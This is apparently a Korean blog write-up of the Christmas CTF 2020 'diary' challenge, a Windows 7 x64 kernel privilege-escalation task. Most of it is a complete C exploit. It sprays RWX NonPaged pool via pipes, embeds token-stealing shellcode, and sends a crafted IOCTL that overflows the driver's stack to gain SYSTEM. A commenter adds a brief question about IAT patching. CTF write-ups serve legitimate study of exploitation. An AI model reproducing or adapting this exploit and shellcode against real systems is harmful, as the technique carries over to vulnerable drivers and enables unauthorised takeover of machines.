메뉴 닫기

Christmas CTF 2020 diary

 

대회때 좀 보다가 쉰다고 못봄.

윈도우7 x64 lpe 문제인데, 스택오버가 대놓고있음.

여기.

알수없는 기능도 하나 있음.

일단 윈도우7에서는 Non Paged Pool이 RWX이다.

작은크기에 스프레이를 존나 뿌리려고 했는데, 그럴필요없이 애초에 크게 할당받으면 된다.

CreatePipe랑 WriteFile을 쓰면 원하는 크기만큼 NonPaged Pool을 할당받을수 있다.

특이점은 unsigned/signed 과정에서 생긴 스택오버라서 memcpy에 0x80이상만 들어간다는 점. 그래서 뒷 스택이 조금 깨진다.

그래서 기존 쉘코드를 그대로 쓰면 안되고, `add rsp, 0x40`를 추가해서 스택을 정리해줘야한다.

 

#include<stdio.h>
#include<windows.h>

#define BUFSIZE      0x10000000
#define MINI_BUF_SIZE 128



HANDLE readPipe;
HANDLE writePipe;

BYTE shellcode [] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x42\x70\x4D\x8B\x88"
                    "\x88\x01\x00\x00\x49\x8B\x09\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74"
                    "\x05\x48\x8B\x09\xEB\xF1\x48\x8B\x81\x80\x00\x00\x00\x24\xF0\x48"
                    "\x8B\x51\xF8\x48\x81\xFA\xde\xad\xbe\xef\x74\x05\x48\x8B\x09\xEB"
                    "\xEE\x48\x89\x81\x80\x00\x00\x00\x48\x83\xC4\x28"
                    "\x48\x83\xc4\x40"
                    "\xC3";
BYTE shellcodeBuffer[MINI_BUF_SIZE];


int main(void)
{

	UCHAR *payLoad = (UCHAR *)malloc(BUFSIZE);
	*(DWORD *)&shellcode[0x36] = GetCurrentProcessId();
	printf("%016llx",payLoad);


	HANDLE hDevice = CreateFileA("\\\\.\\diary", GENERIC_READ | GENERIC_WRITE, 0,0,0x3,0,0);
	printf("Handle : %08x\n",hDevice);

	DWORD resultLength;
	RtlFillMemory(shellcodeBuffer, MINI_BUF_SIZE, 0x90);
	memcpy(shellcodeBuffer+MINI_BUF_SIZE-sizeof(shellcode),shellcode,sizeof(shellcode));

	for(int i=0; i<BUFSIZE; i+=MINI_BUF_SIZE)
	{
		memcpy(payLoad+i,shellcodeBuffer, MINI_BUF_SIZE);
	}



	CreatePipe(&readPipe,&writePipe,NULL, BUFSIZE);
	WriteFile(writePipe,  payLoad, BUFSIZE, &resultLength, NULL);


	DWORD bRet;

	printf("===HELLO===\n");


	unsigned char inBuffer2[0x80] {};
	memset(inBuffer2, 'B', 0x80);

	inBuffer2[0] = 0x80;

	for(int i=1; i<0x30; i++)
		inBuffer2[i] = 'A';

	inBuffer2[0x30] = 0x2c;
	inBuffer2[0x31] = 0x00;
	inBuffer2[0x32] = 0x00;
	inBuffer2[0x33] = 0x0b;
	inBuffer2[0x34] = 0x80;
	inBuffer2[0x35] = 0xfa;
	inBuffer2[0x36] = 0xff;
	inBuffer2[0x37] = 0xff;

	DeviceIoControl(hDevice, 0x222008, inBuffer2, sizeof(inBuffer2), NULL, 0, &bRet, 0);

	while(true)
	{
		system("whoami");
		Sleep(1000);
	}

	CloseHandle(hDevice);
}

 

p.s 미안하다 주창아~~~

 

2 Comments

  1. AbandonWare

    프로그램이 실행된 후에 dll의
    push allocd+280
    push ker
    call kernel32.GetModuleHandleA
    push eax
    call kernel32.GetProcAddress
    을 iat주소를 찾은후 박아넣고 간접적으로 자동실행된 프로그램에 해당 변조 쉘을 실행…인게 조건인가?

답글 남기기

이메일 주소를 발행하지 않을 것입니다.